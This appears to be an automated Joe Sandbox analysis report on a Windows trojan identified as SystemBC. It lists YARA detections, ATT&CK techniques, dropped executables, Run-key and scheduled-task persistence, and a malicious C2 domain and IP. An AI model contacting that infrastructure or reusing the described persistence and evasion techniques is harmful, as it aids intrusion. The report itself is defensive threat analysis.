Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Queries volume information: C:\ProgramData\colsv\qxdc.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Queries volume information: C:\Users\user\AppData\Roaming\Yjlwuuys.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Queries volume information: C:\Users\user\AppData\Roaming\Yjlwuuys.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\ProgramData\colsv\qxdc.exe	Queries volume information: C:\ProgramData\colsv\qxdc.exe VolumeInformation
Source: C:\ProgramData\colsv\qxdc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\ProgramData\colsv\qxdc.exe	Queries volume information: C:\ProgramData\colsv\qxdc.exe VolumeInformation
Source: C:\ProgramData\colsv\qxdc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\Desktop\Opdxdyeul.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: qxdc.exe, 00000008.00000002.2514322435.0000000005DC0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: TaskScheduler.EXE

Stealing of Sensitive Information

Yara detected SystemBC

Source: Yara match	File source: 24.2.qxdc.exe.2edcc8c.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.qxdc.exe.2ee6e64.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Yjlwuuys.exe.2debffc.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Yjlwuuys.exe.2df61d4.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.33302f0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Yjlwuuys.exe.2dca3dc.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.3326118.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Yjlwuuys.exe.2dca3dc.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.qxdc.exe.2cdc314.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Yjlwuuys.exe.2debffc.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.qxdc.exe.33c5054.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.33302f0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.qxdc.exe.2ce64ec.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Yjlwuuys.exe.2dd45b4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.qxdc.exe.2cdc314.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Yjlwuuys.exe.2df61d4.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.qxdc.exe.2edcc8c.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.qxdc.exe.33bae7c.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.qxdc.exe.33c5054.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.qxdc.exe.2ee6e64.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.qxdc.exe.2ce64ec.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.qxdc.exe.33bae7c.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Yjlwuuys.exe.2dd45b4.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.3326118.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2655007606.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2818927936.0000000002CE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2818927936.0000000002CD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2571975141.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3414550975.0000000002ED9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2470099551.00000000003C5000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3414550975.0000000002EE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2338555032.000000000332E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2338555032.0000000003322000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2571975141.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2480913690.00000000033C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2655007606.0000000002DF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2480913690.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Opdxdyeul.exe PID: 6488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 3392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yjlwuuys.exe PID: 4896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 4184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yjlwuuys.exe PID: 2168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 6684, type: MEMORYSTR

Remote Access Functionality

Yara detected SystemBC

Source: Yara match	File source: 24.2.qxdc.exe.2edcc8c.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.qxdc.exe.2ee6e64.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Yjlwuuys.exe.2debffc.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Yjlwuuys.exe.2df61d4.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.33302f0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Yjlwuuys.exe.2dca3dc.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.3326118.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Yjlwuuys.exe.2dca3dc.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.qxdc.exe.2cdc314.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Yjlwuuys.exe.2debffc.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.qxdc.exe.33c5054.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.33302f0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.qxdc.exe.2ce64ec.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Yjlwuuys.exe.2dd45b4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.qxdc.exe.2cdc314.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Yjlwuuys.exe.2df61d4.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.qxdc.exe.2edcc8c.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.qxdc.exe.33bae7c.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.qxdc.exe.33c5054.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.qxdc.exe.2ee6e64.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.qxdc.exe.2ce64ec.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.qxdc.exe.33bae7c.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Yjlwuuys.exe.2dd45b4.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.3326118.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2655007606.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2818927936.0000000002CE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2818927936.0000000002CD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2571975141.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3414550975.0000000002ED9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2470099551.00000000003C5000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3414550975.0000000002EE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2338555032.000000000332E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2338555032.0000000003322000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2571975141.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2480913690.00000000033C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2655007606.0000000002DF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2480913690.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Opdxdyeul.exe PID: 6488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 3392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yjlwuuys.exe PID: 4896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 4184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yjlwuuys.exe PID: 2168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 6684, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	11 Scheduled Task/Job	111 Process Injection	11 Masquerading	OS Credential Dumping	331 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	132 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Opdxdyeul.exe	74%	ReversingLabs	Win32.Trojan.Aenjaris
Opdxdyeul.exe	79%	Virustotal		Browse
Opdxdyeul.exe	100%	Avira	TR/Kryptik.ykkfo
Opdxdyeul.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\colsv\qxdc.exe	100%	Avira	TR/Kryptik.ykkfo
C:\ProgramData\tlwghd\flmixjo.exe	100%	Avira	TR/Kryptik.ykkfo
C:\ProgramData\uinetk\wvgk.exe	100%	Avira	TR/Kryptik.ykkfo
C:\Users\user\AppData\Roaming\Yjlwuuys.exe	100%	Avira	TR/Kryptik.ykkfo
C:\ProgramData\colsv\qxdc.exe	100%	Joe Sandbox ML
C:\ProgramData\tlwghd\flmixjo.exe	100%	Joe Sandbox ML
C:\ProgramData\uinetk\wvgk.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Yjlwuuys.exe	100%	Joe Sandbox ML
C:\ProgramData\colsv\qxdc.exe	74%	ReversingLabs	Win32.Trojan.Aenjaris
C:\ProgramData\tlwghd\flmixjo.exe	74%	ReversingLabs	Win32.Trojan.Aenjaris
C:\ProgramData\uinetk\wvgk.exe	74%	ReversingLabs	Win32.Trojan.Aenjaris
C:\Users\user\AppData\Roaming\Yjlwuuys.exe	74%	ReversingLabs	Win32.Trojan.Aenjaris

Source	Detection	Scanner	Label
claywyaeropumps.com	100%	Avira URL Cloud	malware
http://crl.microsoft.	0%	Avira URL Cloud	safe
178.132.2.10	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
claywyaeropumps.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
claywyaeropumps.com	true	Avira URL Cloud: malware	unknown
178.132.2.10	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	Opdxdyeul.exe, 00000000.00000002.2338555032.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp, qxdc.exe, 00000008.00000002.2480913690.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2571975141.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2655007606.0000000002B41000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2818927936.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3414550975.0000000002C21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp, qxdc.exe, 00000008.00000002.2499527704.0000000004937000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2601852778.0000000004347000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2684912235.00000000043D7000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2845417049.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3444876134.00000000044B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000003.00000002.2315519389.00000000050EA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 00000003.00000002.2322481661.0000000007E37000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000010.00000003.2463088286.000001DFB6D70000.00000004.00000800.00020000.00000000.sdmp, edb.log.16.dr	false		high
http://crl.ver)	svchost.exe, 00000010.00000002.3453992370.000001DFB6E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft.	powershell.exe, 00000003.00000002.2320456437.0000000006F4A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.16.dr	false		high
https://github.com/mgravell/protobuf-neti	Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000003.00000002.2315519389.0000000004781000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Opdxdyeul.exe, 00000000.00000002.2338555032.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2315519389.0000000004781000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000008.00000002.2480913690.000000000333B000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2571975141.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2655007606.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2818927936.0000000002C5E000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3414550975.0000000002E5D000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
178.132.2.10	unknown	Netherlands		49981	WORLDSTREAMNL	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577312
Start date and time:	2024-12-18 11:34:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Opdxdyeul.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@23/18@10/2
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 96% Number of executed functions: 552 Number of non-executed functions: 37
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 23.32.238.18, 23.32.238.74, 23.218.208.109, 40.126.53.7, 20.74.47.205, 2.16.158.72, 13.107.246.63, 20.234.120.54, 4.245.163.56, 150.171.27.10, 2.16.158.73
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, login.live.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 3416 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:35:20	API Interceptor	17x Sleep call for process: powershell.exe modified
05:35:25	API Interceptor	1x Sleep call for process: Opdxdyeul.exe modified
05:35:38	API Interceptor	2x Sleep call for process: svchost.exe modified
05:35:48	API Interceptor	2x Sleep call for process: Yjlwuuys.exe modified
05:36:13	API Interceptor	13x Sleep call for process: qxdc.exe modified
11:35:26	Task Scheduler	Run new task: Test Task17 path: C:\ProgramData\colsv\qxdc.exe
11:35:26	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Yjlwuuys C:\Users\user\AppData\Roaming\Yjlwuuys.exe
11:35:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Yjlwuuys C:\Users\user\AppData\Roaming\Yjlwuuys.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
178.132.2.10	file.exe	Get hash	malicious	SystemBC	Browse
	c5b32f1cdc2a48f1dd2b1623598c24a2635dc57fdab3b4328f1cb3b66f5079ba_payload.exe	Get hash	malicious	SystemBC	Browse
	c5b32f1cdc2a48f1dd2b1623598c24a2635dc57fdab3b4328f1cb3b66f5079ba_payload.exe	Get hash	malicious	SystemBC	Browse
	SecuriteInfo.com.Win32.RATX-gen.17405.3953.exe	Get hash	malicious	SystemBC	Browse
	file.exe	Get hash	malicious	Amadey, SystemBC	Browse
	JOOnVgBuCg.exe	Get hash	malicious	SystemBC	Browse

